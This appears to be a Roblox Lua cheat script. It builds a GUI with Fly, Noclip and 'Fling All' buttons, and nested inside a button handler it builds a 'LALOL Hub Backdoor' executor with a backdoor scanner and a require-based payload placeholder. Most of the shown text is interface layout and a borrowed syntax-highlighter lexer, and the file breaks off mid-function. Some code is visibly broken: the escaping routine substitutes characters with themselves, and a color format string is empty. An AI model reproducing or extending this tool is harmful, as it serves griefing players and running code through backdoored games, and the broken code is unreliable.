--[=[
d888b db db d888888b .d888b. db db db .d8b.
88' Y8b 88 88 `88' VP `8D 88 88 88 d8' `8b
88 88 88 88 odD' 88 88 88 88ooo88
88 ooo 88 88 88 .88' 88 88 88 88~~~88
88. ~8~ 88b d88 .88. j88. 88booo. 88b d88 88 88 @uniquadev
Y888P ~Y8888P' Y888888P 888888D Y88888P ~Y8888P' YP YP CONVERTER
designed using localmaze gui creator
]=]
local LMG2L = {};
LMG2L["ScreenGui_1"] = Instance.new("ScreenGui", game:GetService("Players").LocalPlayer:WaitForChild("PlayerGui"));
LMG2L["ScreenGui_1"]["ZIndexBehavior"] = Enum.ZIndexBehavior.Sibling;
LMG2L["Frame_2"] = Instance.new("Frame", LMG2L["ScreenGui_1"]);
LMG2L["Frame_2"]["BorderSizePixel"] = 0;
LMG2L["Frame_2"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
LMG2L["Frame_2"]["Size"] = UDim2.new(0, 912, 0, 514);
LMG2L["Frame_2"]["Position"] = UDim2.new(0.38646, -230, 0.1388, 22);
LMG2L["Frame_2"]["BackgroundTransparency"] = 0.3;
LMG2L["TextButton4_3"] = Instance.new("TextButton", LMG2L["Frame_2"]);
LMG2L["TextButton4_3"]["TextWrapped"] = true;
LMG2L["TextButton4_3"]["BorderSizePixel"] = 0;
LMG2L["TextButton4_3"]["TextScaled"] = true;
LMG2L["TextButton4_3"]["BackgroundColor3"] = Color3.fromRGB(0, 255, 40);
LMG2L["TextButton4_3"]["Size"] = UDim2.new(0.31897, 0, 0.13284, 0);
LMG2L["TextButton4_3"]["Text"] = [[Lalol]];
LMG2L["TextButton4_3"]["Name"] = [[TextButton4]];
LMG2L["TextButton4_3"]["Position"] = UDim2.new(0.60776, 0, 0.63469, 0);
LMG2L["LocalScript_4"] = Instance.new("LocalScript", LMG2L["TextButton4_3"]);
LMG2L["UICorner_5"] = Instance.new("UICorner", LMG2L["Frame_2"]);
LMG2L["UICorner_5"]["CornerRadius"] = UDim.new(0, 9);
LMG2L["TextButton2_6"] = Instance.new("TextButton", LMG2L["Frame_2"]);
LMG2L["TextButton2_6"]["TextWrapped"] = true;
LMG2L["TextButton2_6"]["BorderSizePixel"] = 0;
LMG2L["TextButton2_6"]["TextScaled"] = true;
LMG2L["TextButton2_6"]["BackgroundColor3"] = Color3.fromRGB(0, 255, 10);
LMG2L["TextButton2_6"]["Size"] = UDim2.new(0.31466, 0, 0.13284, 0);
LMG2L["TextButton2_6"]["Text"] = [[Noclip]];
LMG2L["TextButton2_6"]["Name"] = [[TextButton2]];
LMG2L["TextButton2_6"]["Position"] = UDim2.new(0.60345, 0, 0.24354, 0);
LMG2L["LocalScript_7"] = Instance.new("LocalScript", LMG2L["TextButton2_6"]);
LMG2L["TextButton3_8"] = Instance.new("TextButton", LMG2L["Frame_2"]);
LMG2L["TextButton3_8"]["TextWrapped"] = true;
LMG2L["TextButton3_8"]["BorderSizePixel"] = 0;
LMG2L["TextButton3_8"]["TextScaled"] = true;
LMG2L["TextButton3_8"]["BackgroundColor3"] = Color3.fromRGB(17, 255, 0);
LMG2L["TextButton3_8"]["Size"] = UDim2.new(0.29741, 0, 0.13284, 0);
LMG2L["TextButton3_8"]["Text"] = [[Fling All]];
LMG2L["TextButton3_8"]["Name"] = [[TextButton3]];
LMG2L["TextButton3_8"]["Position"] = UDim2.new(0.04741, 0, 0.631, 0);
LMG2L["LocalScript_9"] = Instance.new("LocalScript", LMG2L["TextButton3_8"]);
LMG2L["TextLabel_a"] = Instance.new("TextLabel", LMG2L["Frame_2"]);
LMG2L["TextLabel_a"]["TextWrapped"] = true;
LMG2L["TextLabel_a"]["BorderSizePixel"] = 0;
LMG2L["TextLabel_a"]["TextScaled"] = true;
LMG2L["TextLabel_a"]["BackgroundColor3"] = Color3.fromRGB(12, 255, 0);
LMG2L["TextLabel_a"]["Size"] = UDim2.new(0, 894, 0, 32);
LMG2L["TextLabel_a"]["Text"] = [[G00B3RGUI V3]];
LMG2L["TextLabel_a"]["Position"] = UDim2.new(0, 10, 0, 20);
LMG2L["UICorner_b"] = Instance.new("UICorner", LMG2L["TextLabel_a"]);
LMG2L["UICorner_b"]["CornerRadius"] = UDim.new(0, 9);
LMG2L["TextButton_c"] = Instance.new("TextButton", LMG2L["Frame_2"]);
LMG2L["TextButton_c"]["TextWrapped"] = true;
LMG2L["TextButton_c"]["BorderSizePixel"] = 0;
LMG2L["TextButton_c"]["TextScaled"] = true;
LMG2L["TextButton_c"]["BackgroundColor3"] = Color3.fromRGB(0, 255, 13);
LMG2L["TextButton_c"]["Size"] = UDim2.new(0.2931, 0, 0.13284, 0);
LMG2L["TextButton_c"]["Text"] = [[Fly]];
LMG2L["TextButton_c"]["Position"] = UDim2.new(0.0431, 0, 0.24354, 0);
LMG2L["LocalScript_d"] = Instance.new("LocalScript", LMG2L["TextButton_c"]);
LMG2L["LocalScript_e"] = Instance.new("LocalScript", LMG2L["Frame_2"]);
local function C_4()
local script = LMG2L["LocalScript_4"];
local button = script.Parent
button.MouseButton1Click:Connect(function()
print("Button clicked!")
--[=[
d888b db db d888888b .d888b. db db db .d8b.
88' Y8b 88 88 `88' VP `8D 88 88 88 d8' `8b
88 88 88 88 odD' 88 88 88 88ooo88
88 ooo 88 88 88 .88' 88 88 88 88~~~88
88. ~8~ 88b d88 .88. j88. 88booo. 88b d88 88 88
Y888P ~Y8888P' Y888888P 888888D Y88888P ~Y8888P' YP YP CONVERTER
]=]
-- Instances: 33 | Scripts: 3 | Modules: 3
local G2L = {};
-- StarterGui.LALOL Hub Backdoor
G2L["1"] = Instance.new("ScreenGui", game:GetService('CoreGui'):WaitForChild('RobloxGui'));
G2L["1"]["Name"] = [[LALOL Hub Backdoor]];
G2L["1"]["ZIndexBehavior"] = Enum.ZIndexBehavior.Sibling;
G2L["1"]["ResetOnSpawn"] = false;
-- StarterGui.LALOL Hub Backdoor.Frame
G2L["2"] = Instance.new("Frame", G2L["1"]);
G2L["2"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2"]["Size"] = UDim2.new(0, 482, 0, 276);
G2L["2"]["Position"] = UDim2.new(0.27320125699043274, 0, 0.3018597960472107, 0);
-- StarterGui.LALOL Hub Backdoor.Frame.UIStroke
G2L["3"] = Instance.new("UIStroke", G2L["2"]);
G2L["3"]["Color"] = Color3.fromRGB(255, 255, 255);
-- StarterGui.LALOL Hub Backdoor.Frame.UIStroke.UIGradient
G2L["4"] = Instance.new("UIGradient", G2L["3"]);
G2L["4"]["Rotation"] = 50;
G2L["4"]["Color"] = ColorSequence.new{ColorSequenceKeypoint.new(0.000, Color3.fromRGB(255, 0, 0)),ColorSequenceKeypoint.new(1.000, Color3.fromRGB(255, 0, 255))};
-- StarterGui.LALOL Hub Backdoor.Frame.UICorner
G2L["5"] = Instance.new("UICorner", G2L["2"]);
-- StarterGui.LALOL Hub Backdoor.Frame.Executor
G2L["6"] = Instance.new("Folder", G2L["2"]);
G2L["6"]["Name"] = [[Executor]];
-- StarterGui.LALOL Hub Backdoor.Frame.Executor.Execute
G2L["7"] = Instance.new("Frame", G2L["6"]);
G2L["7"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["7"]["BackgroundTransparency"] = 1;
G2L["7"]["Size"] = UDim2.new(0, 290, 0, 28);
G2L["7"]["Position"] = UDim2.new(0.02169983461499214, 0, 0.8708109259605408, 0);
G2L["7"]["Name"] = [[Execute]];
-- StarterGui.LALOL Hub Backdoor.Frame.Executor.Execute.Button
G2L["8"] = Instance.new("TextButton", G2L["7"]);
G2L["8"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["8"]["TextSize"] = 22;
G2L["8"]["FontFace"] = Font.new([[rbxasset://fonts/families/GothamSSm.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["8"]["TextColor3"] = Color3.fromRGB(51, 215, 0);
G2L["8"]["Size"] = UDim2.new(1, 0, 1, 0);
G2L["8"]["Name"] = [[Button]];
G2L["8"]["Text"] = [[Execute]];
G2L["8"]["BackgroundTransparency"] = 1;
-- StarterGui.LALOL Hub Backdoor.Frame.Executor.Execute.UICorner
G2L["9"] = Instance.new("UICorner", G2L["7"]);
-- StarterGui.LALOL Hub Backdoor.Frame.Executor.Execute.UIStroke
G2L["a"] = Instance.new("UIStroke", G2L["7"]);
G2L["a"]["Color"] = Color3.fromRGB(51, 215, 0);
-- StarterGui.LALOL Hub Backdoor.Frame.Executor.Clear
G2L["b"] = Instance.new("Frame", G2L["6"]);
G2L["b"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["b"]["BackgroundTransparency"] = 1;
G2L["b"]["Size"] = UDim2.new(0, 162, 0, 28);
G2L["b"]["Position"] = UDim2.new(0.6400582790374756, 0, 0.8708109855651855, 0);
G2L["b"]["Name"] = [[Clear]];
-- StarterGui.LALOL Hub Backdoor.Frame.Executor.Clear.Button
G2L["c"] = Instance.new("TextButton", G2L["b"]);
G2L["c"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["c"]["TextSize"] = 22;
G2L["c"]["FontFace"] = Font.new([[rbxasset://fonts/families/GothamSSm.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["c"]["TextColor3"] = Color3.fromRGB(36, 236, 203);
G2L["c"]["Size"] = UDim2.new(1, 0, 1, 0);
G2L["c"]["Name"] = [[Button]];
G2L["c"]["Text"] = [[Clear]];
G2L["c"]["BackgroundTransparency"] = 1;
-- StarterGui.LALOL Hub Backdoor.Frame.Executor.Clear.UICorner
G2L["d"] = Instance.new("UICorner", G2L["b"]);
-- StarterGui.LALOL Hub Backdoor.Frame.Executor.Clear.UIStroke
G2L["e"] = Instance.new("UIStroke", G2L["b"]);
G2L["e"]["Color"] = Color3.fromRGB(36, 236, 203);
-- StarterGui.LALOL Hub Backdoor.Frame.Executor.ExecutorBox
G2L["f"] = Instance.new("Frame", G2L["6"]);
G2L["f"]["BackgroundColor3"] = Color3.fromRGB(22, 22, 22);
G2L["f"]["Size"] = UDim2.new(0, 462, 0, 163);
G2L["f"]["Position"] = UDim2.new(0.01962907239794731, 0, 0.24310137331485748, 0);
G2L["f"]["Name"] = [[ExecutorBox]];
-- StarterGui.LALOL Hub Backdoor.Frame.Executor.ExecutorBox.UICorner
G2L["10"] = Instance.new("UICorner", G2L["f"]);
-- StarterGui.LALOL Hub Backdoor.Frame.Executor.ExecutorBox.TextBox
G2L["11"] = Instance.new("TextBox", G2L["f"]);
G2L["11"]["TextSize"] = 14;
G2L["11"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["11"]["TextWrapped"] = true;
G2L["11"]["TextYAlignment"] = Enum.TextYAlignment.Top;
G2L["11"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["11"]["TextColor3"] = Color3.fromRGB(198, 119, 88);
G2L["11"]["FontFace"] = Font.new([[rbxasset://fonts/families/GothamSSm.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["11"]["MultiLine"] = true;
G2L["11"]["BackgroundTransparency"] = 1;
G2L["11"]["PlaceholderText"] = [[require(6666666).load("c00lkidd")]];
G2L["11"]["Size"] = UDim2.new(0, 448, 0, 150);
G2L["11"]["Text"] = [[]];
G2L["11"]["Position"] = UDim2.new(0.015692640095949173, 0, 0.042270027101039886, 0);
G2L["11"]["ClearTextOnFocus"] = false;
-- StarterGui.LALOL Hub Backdoor.Frame.Executor.ExecutorBox.TextBox.Highlight
G2L["12"] = Instance.new("LocalScript", G2L["11"]);
G2L["12"]["Name"] = [[Highlight]];
-- StarterGui.LALOL Hub Backdoor.Frame.Executor.ExecutorBox.TextBox.Highlight.Highlighter
G2L["13"] = Instance.new("ModuleScript", G2L["12"]);
G2L["13"]["Name"] = [[Highlighter]];
-- StarterGui.LALOL Hub Backdoor.Frame.Executor.ExecutorBox.TextBox.Highlight.Highlighter.lexer
G2L["14"] = Instance.new("ModuleScript", G2L["13"]);
G2L["14"]["Name"] = [[lexer]];
-- StarterGui.LALOL Hub Backdoor.Frame.Executor.ExecutorBox.TextBox.Highlight.Highlighter.lexer.language
G2L["15"] = Instance.new("ModuleScript", G2L["14"]);
G2L["15"]["Name"] = [[language]];
-- StarterGui.LALOL Hub Backdoor.Frame.Scanner
G2L["16"] = Instance.new("Frame", G2L["2"]);
G2L["16"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["16"]["BackgroundTransparency"] = 1;
G2L["16"]["Size"] = UDim2.new(0, 370, 0, 107);
G2L["16"]["Position"] = UDim2.new(0.1166670024394989, 0, 0.30478382110595703, 0);
G2L["16"]["Visible"] = false;
G2L["16"]["Name"] = [[Scanner]];
-- StarterGui.LALOL Hub Backdoor.Frame.Scanner.UIStroke
G2L["17"] = Instance.new("UIStroke", G2L["16"]);
G2L["17"]["Color"] = Color3.fromRGB(255, 255, 255);
-- StarterGui.LALOL Hub Backdoor.Frame.Scanner.UIStroke.UIGradient
G2L["18"] = Instance.new("UIGradient", G2L["17"]);
G2L["18"]["Rotation"] = 50;
G2L["18"]["Color"] = ColorSequence.new{ColorSequenceKeypoint.new(0.000, Color3.fromRGB(255, 255, 108)),ColorSequenceKeypoint.new(1.000, Color3.fromRGB(255, 231, 171))};
-- StarterGui.LALOL Hub Backdoor.Frame.Scanner.UICorner
G2L["19"] = Instance.new("UICorner", G2L["16"]);
-- StarterGui.LALOL Hub Backdoor.Frame.Scanner.Button
G2L["1a"] = Instance.new("TextButton", G2L["16"]);
G2L["1a"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1a"]["TextSize"] = 43;
G2L["1a"]["FontFace"] = Font.new([[rbxasset://fonts/families/GothamSSm.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["1a"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1a"]["Size"] = UDim2.new(1, 0, 1, 0);
G2L["1a"]["Name"] = [[Button]];
G2L["1a"]["Text"] = [[Start Scanning]];
G2L["1a"]["BackgroundTransparency"] = 1;
-- StarterGui.LALOL Hub Backdoor.Frame.Scanner.Button.UIGradient
G2L["1b"] = Instance.new("UIGradient", G2L["1a"]);
G2L["1b"]["Rotation"] = 50;
G2L["1b"]["Color"] = ColorSequence.new{ColorSequenceKeypoint.new(0.000, Color3.fromRGB(255, 255, 108)),ColorSequenceKeypoint.new(1.000, Color3.fromRGB(255, 231, 171))};
-- StarterGui.LALOL Hub Backdoor.Frame.Scanner.Button.UIStroke
G2L["1c"] = Instance.new("UIStroke", G2L["1a"]);
G2L["1c"]["Color"] = Color3.fromRGB(255, 255, 255);
-- StarterGui.LALOL Hub Backdoor.Frame.TextLabel
G2L["1d"] = Instance.new("TextLabel", G2L["2"]);
G2L["1d"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1d"]["FontFace"] = Font.new([[rbxassetid://12187365977]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["1d"]["TextSize"] = 49;
G2L["1d"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1d"]["Size"] = UDim2.new(0, 460, 0, 50);
G2L["1d"]["Text"] = [[LALOL Hub Backdoor]];
G2L["1d"]["BackgroundTransparency"] = 1;
G2L["1d"]["Position"] = UDim2.new(0.02169983461499214, 0, 0.025362318381667137, 0);
-- StarterGui.LALOL Hub Backdoor.Frame.TextLabel.UIStroke
G2L["1e"] = Instance.new("UIStroke", G2L["1d"]);
G2L["1e"]["Color"] = Color3.fromRGB(255, 255, 255);
-- StarterGui.LALOL Hub Backdoor.Frame.TextLabel.UIStroke.UIGradient
G2L["1f"] = Instance.new("UIGradient", G2L["1e"]);
G2L["1f"]["Rotation"] = 50;
G2L["1f"]["Color"] = ColorSequence.new{ColorSequenceKeypoint.new(0.000, Color3.fromRGB(255, 0, 0)),ColorSequenceKeypoint.new(1.000, Color3.fromRGB(255, 0, 255))};
-- StarterGui.LALOL Hub Backdoor.LocalScript
G2L["20"] = Instance.new("LocalScript", G2L["1"]);
-- StarterGui.LALOL Hub Backdoor.Dragify
G2L["21"] = Instance.new("LocalScript", G2L["1"]);
G2L["21"]["Name"] = [[Dragify]];
-- Require G2L wrapper
local G2L_REQUIRE = require;
local G2L_MODULES = {};
local function require(Module:ModuleScript)
local ModuleState = G2L_MODULES[Module];
if ModuleState then
if not ModuleState.Required then
ModuleState.Required = true;
ModuleState.Value = ModuleState.Closure();
end
return ModuleState.Value;
end;
return G2L_REQUIRE(Module);
end
G2L_MODULES[G2L["13"]] = {
Closure = function()
local script = G2L["13"];
--[[
export type HighlighterColors = { [string]: Color3 }
export type TextObject = TextLabel | TextBox
export type HighlightProps = {
textObject: TextObject,
src: string?,
forceUpdate: boolean?,
lexer: Lexer?,
customLang: { [string]: string }?
}
export type Lexer = {
scan: (src: string) -> () -> (string, string),
navigator: () -> any,
finished: boolean?,
}
export type Highlighter = {
defaultLexer: Lexer,
setTokenColors: (colors: HighlighterColors?) -> (),
highlight: (props: HighlightProps) -> (() -> ())?,
refresh: () -> (),
}
export type ObjectData = {
Text: string,
Labels: { TextLabel },
Lines: { string },
Lexer: Lexer?,
CustomLang: { [string]: string }?,
}
--]]
local function SanitizeRichText(s: string): string
return string.gsub(
string.gsub(string.gsub(string.gsub(string.gsub(s, "&", "&"), "<", "<"), ">", ">"), '"', """),
"'",
"'"
)
end
local function SanitizeTabs(s: string): string
return string.gsub(s, "\t", " ")
end
local function SanitizeControl(s: string): string
return string.gsub(s, "[\0\1\2\3\4\5\6\7\8\11\12\13\14\15\16\17\18\19\20\21\22\23\24\25\26\27\28\29\30\31]+", "")
end
local TokenColors: HighlighterColors = {
["background"] = Color3.fromRGB(47, 47, 47),
["iden"] = Color3.fromRGB(234, 234, 234),
["keyword"] = Color3.fromRGB(215, 174, 255),
["builtin"] = Color3.fromRGB(131, 206, 255),
["string"] = Color3.fromRGB(196, 255, 193),
["number"] = Color3.fromRGB(255, 125, 125),
["comment"] = Color3.fromRGB(140, 140, 155),
["operator"] = Color3.fromRGB(255, 239, 148),
["custom"] = Color3.fromRGB(119, 122, 255),
}
local ColorFormatter: { [Color3]: string } = {}
local LastData: { [TextObject]: ObjectData } = {}
local Cleanups: { [TextObject]: () -> () } = {}
local Highlighter = {
defaultLexer = require(script.lexer),
}
function Highlighter.highlight(props: HighlightProps)
-- Gather props
local textObject = props.textObject
local src = SanitizeTabs(SanitizeControl(props.src or textObject.Text))
local lexer = props.lexer or Highlighter.defaultLexer
local customLang = props.customLang
local forceUpdate = props.forceUpdate
-- Avoid updating when unnecessary
local data = LastData[textObject]
if data == nil then
data = {
Text = "",
Labels = {},
Lines = {},
Lexer = lexer,
CustomLang = customLang,
}
LastData[textObject] = data
elseif forceUpdate ~= true and data.Text == src then
return
end
local lineLabels = data.Labels
local previousLines = data.Lines
local lines = string.split(src, "\n")
data.Lines = lines
data.Text = src
data.Lexer = lexer
data.CustomLang = customLang
-- Ensure valid object properties
textObject.RichText = false
textObject.Text = src
textObject.TextXAlignment = Enum.TextXAlignment.Left
textObject.TextYAlignment = Enum.TextYAlignment.Top
textObject.BackgroundColor3 = TokenColors.background
textObject.TextColor3 = TokenColors.iden
textObject.TextTransparency = 0.5
-- Build the highlight labels
local lineFolder = textObject:FindFirstChild("SyntaxHighlights")
if lineFolder == nil then
local newLineFolder = Instance.new("Folder")
newLineFolder.Name = "SyntaxHighlights"
newLineFolder.Parent = textObject
lineFolder = newLineFolder
end
-- Add a cleanup handler for this textObject
local cleanup = Cleanups[textObject]
if not cleanup then
local connections: { RBXScriptConnection } = {}
local function newCleanup()
for _, label in ipairs(lineLabels) do
label:Destroy()
end
table.clear(lineLabels)
lineLabels = nil
LastData[textObject] = nil
Cleanups[textObject] = nil
for _, connection in connections do
connection:Disconnect()
end
table.clear(connections)
connections = nil
end
Cleanups[textObject] = newCleanup
cleanup = newCleanup
table.insert(
connections,
textObject.AncestryChanged:Connect(function()
if textObject.Parent then
return
end
cleanup()
end)
)
table.insert(
connections,
textObject:GetPropertyChangedSignal("TextBounds"):Connect(function()
Highlighter.highlight({
textObject = textObject,
forceUpdate = true,
lexer = lexer,
customLang = customLang,
})
end)
)
table.insert(
connections,
textObject:GetPropertyChangedSignal("Text"):Connect(function()
Highlighter.highlight({
textObject = textObject,
lexer = lexer,
customLang = customLang,
})
end)
)
table.insert(
connections,
textObject:GetPropertyChangedSignal("AbsoluteSize"):Connect(function()
Highlighter.highlight({
textObject = textObject,
forceUpdate = true,
lexer = lexer,
customLang = customLang,
})
end)
)
end
-- Shortcut empty labels
if src == "" then
for l=1, #lineLabels do
if lineLabels[l].Text == "" then continue end
lineLabels[l].Text = ""
end
return cleanup
end
-- Wait for TextBounds to be non-NaN and non-zero because Roblox
local textBounds = textObject.TextBounds
while (textBounds.Y ~= textBounds.Y) or (textBounds.Y < 1) do
task.wait()
textBounds = textObject.TextBounds
end
if LastData[textObject] == nil then
-- Got cleaned up while we were waiting
return cleanup
end
local numLines = #lines
local textHeight = textBounds.Y / numLines * textObject.LineHeight
local richText, index, lineNumber = table.create(5), 0, 1
for token: string, content: string in lexer.scan(src) do
local Color =
if customLang and customLang[content] then
TokenColors["custom"]
else
TokenColors[token] or TokenColors["iden"]
local tokenLines = string.split(SanitizeRichText(content), "\n")
for l, line in ipairs(tokenLines) do
-- Find line label
local lineLabel = lineLabels[lineNumber]
if not lineLabel then
local newLabel = Instance.new("TextLabel")
newLabel.Name = "Line_" .. lineNumber
newLabel.RichText = true
newLabel.BackgroundTransparency = 1
newLabel.Text = ""
newLabel.TextXAlignment = Enum.TextXAlignment.Left
newLabel.TextYAlignment = Enum.TextYAlignment.Top
newLabel.Parent = lineFolder
newLabel.TextWrapped=true
lineLabels[lineNumber] = newLabel
lineLabel = newLabel
end
-- Align line label
lineLabel.TextColor3 = TokenColors["iden"]
lineLabel.Font = textObject.Font
lineLabel.TextSize = textObject.TextSize
lineLabel.Size = UDim2.new(1, 0, 0, math.ceil(textHeight))
lineLabel.Position = UDim2.fromScale(0, textHeight * (lineNumber - 1) / textObject.AbsoluteSize.Y)
-- If multiline token, then set line & move to next
if l > 1 then
if forceUpdate or lines[lineNumber] ~= previousLines[lineNumber] then
-- Set line
lineLabels[lineNumber].Text = table.concat(richText)
end
-- Move to next line
lineNumber += 1
index = 0
table.clear(richText)
end
-- If changed, add token to line
if forceUpdate or lines[lineNumber] ~= previousLines[lineNumber] then
index += 1
-- Only add RichText tags when the color is non-default and the characters are non-whitespace
if Color ~= TokenColors["iden"] and string.find(line, "[%S%C]") then
richText[index] = string.format(ColorFormatter[Color], line)
else
richText[index] = line
end
end
end
end
-- Set final line
if richText[1] and lineLabels[lineNumber] then
lineLabels[lineNumber].Text = table.concat(richText)
end
-- Clear unused line labels
for l=lineNumber+1, #lineLabels do
if lineLabels[l].Text == "" then continue end
lineLabels[l].Text = ""
end
return cleanup
end
function Highlighter.refresh(): ()
-- Rehighlight existing labels using latest colors
for textObject, data in pairs(LastData) do
for _, lineLabel in ipairs(data.Labels) do
lineLabel.TextColor3 = TokenColors["iden"]
end
Highlighter.highlight({
textObject = textObject,
forceUpdate = true,
src = data.Text,
lexer = data.Lexer,
customLang = data.CustomLang,
})
end
end
function Highlighter.setTokenColors(colors: HighlighterColors)
for token, color in colors do
TokenColors[token] = color
ColorFormatter[color] = string.format(
'',
color.R * 255,
color.G * 255,
color.B * 255
) .. "%s"
end
Highlighter.refresh()
end
Highlighter.setTokenColors(TokenColors)
return Highlighter :: Highlighter
end;
};
G2L_MODULES[G2L["14"]] = {
Closure = function()
local script = G2L["14"];
--[=[
Lexical scanner for creating a sequence of tokens from Lua source code.
This is a heavily modified and Roblox-optimized version of
the original Penlight Lexer module:
https://github.com/stevedonovan/Penlight
Authors:
stevedonovan ----------- Original Penlight lexer author
ryanjmulder ------------- Penlight lexer contributer
mpeterv --------------------- Penlight lexer contributer
Tieske ----------------------- Penlight lexer contributer
boatbomber --------------- Roblox port, added builtin token,
added patterns for incomplete syntax, bug fixes,
behavior changes, token optimization, thread optimization
Added lexer.navigator() for non-sequential reads
Sleitnick ----------------- Roblox optimizations
howmanysmall ----------- Lua + Roblox optimizations
List of possible tokens:
- iden
- keyword
- builtin
- string
- number
- comment
- operator
--]=]
local lexer = {}
local Prefix, Suffix, Cleaner = "^[%c%s]*", "[%c%s]*", "[%c%s]+"
local UNICODE = "[%z\x01-\x7F\xC2-\xF4][\x80-\xBF]+"
local NUMBER_A = "0[xX][%da-fA-F_]+"
local NUMBER_B = "0[bB][01_]+"
local NUMBER_C = "%d+%.?%d*[eE][%+%-]?%d+"
local NUMBER_D = "%d+[%._]?[%d_eE]*"
local OPERATORS = "[:;<>/~%*%(%)%-={},%.#%^%+%%]+"
local BRACKETS = "[%[%]]+" -- needs to be separate pattern from other operators or it'll mess up multiline strings
local IDEN = "[%a_][%w_]*"
local STRING_EMPTY = "(['\"])%1" --Empty String
local STRING_PLAIN = "(['\"])[^\n]-([^\\]%1)" --TODO: Handle escaping escapes
local STRING_INTER = "`[^\n]-`"
local STRING_INCOMP_A = "(['\"]).-\n" --Incompleted String with next line
local STRING_INCOMP_B = "(['\"])[^\n]*" --Incompleted String without next line
local STRING_MULTI = "%[(=*)%[.-%]%1%]" --Multiline-String
local STRING_MULTI_INCOMP = "%[=*%[.-.*" --Incompleted Multiline-String
local COMMENT_MULTI = "%-%-%[(=*)%[.-%]%1%]" --Completed Multiline-Comment
local COMMENT_MULTI_INCOMP = "%-%-%[=*%[.-.*" --Incompleted Multiline-Comment
local COMMENT_PLAIN = "%-%-.-\n" --Completed Singleline-Comment
local COMMENT_INCOMP = "%-%-.*" --Incompleted Singleline-Comment
-- local TYPED_VAR = ":%s*([%w%?%| \t]+%s*)" --Typed variable, parameter, function
local lang = require(script.language)
local lua_keyword = lang.keyword
local lua_builtin = lang.builtin
local lua_libraries = lang.libraries
lexer.language = lang
local lua_matches = {
-- Indentifiers
{ Prefix .. IDEN .. Suffix, "var" },
-- Numbers
{ Prefix .. NUMBER_A .. Suffix, "number" },
{ Prefix .. NUMBER_B .. Suffix, "number" },
{ Prefix .. NUMBER_C .. Suffix, "number" },
{ Prefix .. NUMBER_D .. Suffix, "number" },
-- Strings
{ Prefix .. STRING_EMPTY .. Suffix, "string" },
{ Prefix .. STRING_PLAIN .. Suffix, "string" },
{ Prefix .. STRING_INCOMP_A .. Suffix, "string" },
{ Prefix .. STRING_INCOMP_B .. Suffix, "string" },
{ Prefix .. STRING_MULTI .. Suffix, "string" },
{ Prefix .. STRING_MULTI_INCOMP .. Suffix, "string" },
{ Prefix .. STRING_INTER .. Suffix, "string_inter" },
-- Comments
{ Prefix .. COMMENT_MULTI .. Suffix, "comment" },
{ Prefix .. COMMENT_MULTI_INCOMP .. Suffix, "comment" },
{ Prefix .. COMMENT_PLAIN .. Suffix, "comment" },
{ Prefix .. COMMENT_INCOMP .. Suffix, "comment" },
-- Operators
{ Prefix .. OPERATORS .. Suffix, "operator" },
{ Prefix .. BRACKETS .. Suffix, "operator" },
-- Unicode
{ Prefix .. UNICODE .. Suffix, "iden" },
-- Unknown
{ "^.", "iden" },
}
-- To reduce the amount of table indexing during lexing, we separate the matches now
local PATTERNS, TOKENS = {}, {}
for i, m in lua_matches do
PATTERNS[i] = m[1]
TOKENS[i] = m[2]
end
--- Create a plain token iterator from a string.
-- @tparam string s a string.
function lexer.scan(s: string)
local index = 1
local size = #s
local previousContent1, previousContent2, previousContent3, previousToken = "", "", "", ""
local thread = coroutine.create(function()
while index <= size do
local matched = false
for tokenType, pattern in ipairs(PATTERNS) do
-- Find match
local start, finish = string.find(s, pattern, index)
if start == nil then continue end
-- Move head
index = finish + 1
matched = true
-- Gather results
local content = string.sub(s, start, finish)
local rawToken = TOKENS[tokenType]
local processedToken = rawToken
-- Process token
if rawToken == "var" then
-- Since we merge spaces into the tok, we need to remove them
-- in order to check the actual word it contains
local cleanContent = string.gsub(content, Cleaner, "")
if lua_keyword[cleanContent] then
processedToken = "keyword"
elseif lua_builtin[cleanContent] then
processedToken = "builtin"
elseif string.find(previousContent1, "%.[%s%c]*$") and previousToken ~= "comment" then
-- The previous was a . so we need to special case indexing things
local parent = string.gsub(previousContent2, Cleaner, "")
local lib = lua_libraries[parent]
if lib and lib[cleanContent] and not string.find(previousContent3, "%.[%s%c]*$") then
-- Indexing a builtin lib with existing item, treat as a builtin
processedToken = "builtin"
else
-- Indexing a non builtin, can't be treated as a keyword/builtin
processedToken = "iden"
end
-- print("indexing",parent,"with",cleanTok,"as",t2)
else
processedToken = "iden"
end
elseif rawToken == "string_inter" then
if not string.find(content, "[^\\]{") then
-- This inter string doesnt actually have any inters
processedToken = "string"
else
-- We're gonna do our own yields, so the main loop won't need to
-- Our yields will be a mix of string and whatever is inside the inters
processedToken = nil
local isString = true
local subIndex = 1
local subSize = #content
while subIndex <= subSize do
-- Find next brace
local subStart, subFinish = string.find(content, "^.-[^\\][{}]", subIndex)
if subStart == nil then
-- No more braces, all string
coroutine.yield("string", string.sub(content, subIndex))
break
end
if isString then
-- We are currently a string
subIndex = subFinish + 1
coroutine.yield("string", string.sub(content, subStart, subFinish))
-- This brace opens code
isString = false
else
-- We are currently in code
subIndex = subFinish
local subContent = string.sub(content, subStart, subFinish-1)
for innerToken, innerContent in lexer.scan(subContent) do
coroutine.yield(innerToken, innerContent)
end
-- This brace opens string/closes code
isString = true
end
end
end
end
-- Record last 3 tokens for the indexing context check
previousContent3 = previousContent2
previousContent2 = previousContent1
previousContent1 = content
previousToken = processedToken or rawToken
if processedToken then
coroutine.yield(processedToken, content)
end
break
end
-- No matches found
if not matched then
return
end
end
-- Completed the scan
return
end)
return function()
